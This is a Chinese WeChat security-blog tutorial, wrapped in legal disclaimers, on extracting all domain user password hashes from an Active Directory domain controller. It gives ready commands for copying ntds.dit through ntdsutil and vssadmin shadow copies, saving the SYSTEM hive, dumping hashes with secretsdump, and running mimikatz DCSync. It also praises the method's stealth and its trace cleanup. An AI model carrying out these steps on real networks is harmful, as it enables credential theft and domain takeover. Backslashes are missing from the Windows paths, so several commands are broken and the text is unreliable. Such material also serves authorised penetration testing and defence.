免责声明
合法使用原则:文中提及的技术、工具或案例,仅用于授权范围内的安全测试、防御研究或合规技术分享,未经授权的网络攻击、数据窃取等行为均属违法,需承担法律责任。
风险自担与责任豁免:文章内容基于公开信息整理,不保证技术的准确性、完整性或适用性。读者需自行评估技术应用风险,若因不当使用导致任何法律后果或损失,均由使用者自行承担,与本公众号及作者无关。
法律管辖与提示:本公众号坚决拥护相关法律法规,反对任何危害网络安全的行为,读者需严格遵守法律法规。
一、简介
-
在获取了域管的身份后,就可以通过PTH、IPC等等手段去拿下域控。 -
而在域控中,活动目录中的所有数据都保存在 ntds.dit
文件中(相当于工作组环境中的SAM
文件)
ntds.dit
是活动目录(Active Directory)的核心数据库文件,存储域内所有关键信息,包括用户账户、密码哈希(NTLM、LM)、组策略(GPP)、组织单元(OU)等。 -
如果要获取到域内所有用户的Hash,要先获取ntds.dit,才能dump hash -
文件路径如下(在域控中)
SystemRoot%ntdsntds.dit
C:WindowsNTDSntds.dit
-
由于该文件在运行时被系统锁定(禁止读取),所以一般情况下即使拥有域管权限,也无法获取该文件,要通过特殊技术(如卷影拷贝)绕过锁定机制进行提取。 -
核心目标:获取 ntds.dit
及配套的system.hive
(存储解密密钥),以离线导出域内全部用户哈希,用于横向渗透或权限维持。
二、卷影拷贝技术
-
卷影拷贝(Volume Shadow Copy)是Windows提供的一种 时间点快照技术,用于在不中断应用程序运行的前提下,创建磁盘卷的只读副本。其核心目的是支持文件备份、数据恢复等场景,尤其适用于被系统或进程锁定的文件(如运行中的数据库、活动目录的 ntds.di
)。 -
在获取ntds.dit时,利用 VSS(卷影拷贝服务)技术可以
-
绕过文件锁定:通过快照直接访问被活动目录锁定的ntds.dit。 -
隐蔽性:使用系统工具(如 vssadmin)操作,不易触发杀软告警。 -
快速清理:通过删除快照消除痕迹,降低被检测风险。
三、利用方式
提取ntds.dit文件
方式1:ntdsutil
-
通过Windows自带的ntdsutil.exe提取,该工具支持创建、挂载、卸载快照
//创建快照并记录下快照集
ntdsutil snapshot "activate instance ntds" create quit quit
//挂载刚创建的快照,GUID就是刚刚创建的快照集,生成后会显示生成的路径
ntdsutil snapshot "mount {GUID}" quit quit
ntdsutil snapshot "mount {9cf672de-6293-463f-bf07-6f5cf1f33a5c}" quit quit
//将快照中的ntds.dit文件复制出来
copy C:$SNAP_202504181610_VOLUMEC$Windowsntdsntds.dit C:ntds.dit
//卸载并删除快照
ntdsutil snapshot "unmount {GUID}" "delete {9cf672de-6293-463f-bf07-6f5cf1f33a5c}" quit quit
//查询当前系统中的所有快照,看是否删除成功
ntdsutil snapshot "List All" quit quit
方式2:vssadmin
-
vssadmin:是管理卷影副本的命令行工具,适用于 Windows Server 2008+。
//创建⼀个卷影拷⻉(c盘),并记录卷硬拷贝名
vssadmin create shadow /for=c:
//将卷影拷贝中的ntds.dit文件复制出来
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy2windowsNTDSntds.dit C:ntds.dit
//删除快照
vssadmin Delete Shadows /For=C: /Oldest
y
提取system.hive(存储解密密钥)
system.hive
是解密域内用户哈希的 核心密钥文件,与 ntds.dit
共同构成域渗透的“黄金组合”。-
通过解析 system.hive
可提取SysKey,进而解密ntds.dit
中的哈希。
//会生成在执行命令的目录下
reg save hklmsystem system.hive
导出域内全部Hash
-
使用impacket工具包中的secretdump可以解析ntds.dit文件,导出散列值
-
可以将system.hive和ntds.dit拖回本地导出Hash
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
-
注意:前面带了 $
符号的都是机器账号
四、补充拓展:通过mimikatz提取域内所有Hash
mimikatz
lsadump::dcsync /domain:lazy.com /all /csv
原文始发于微信公众号(AegisGuard):手把手教你获取域内所有用户 Hash
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论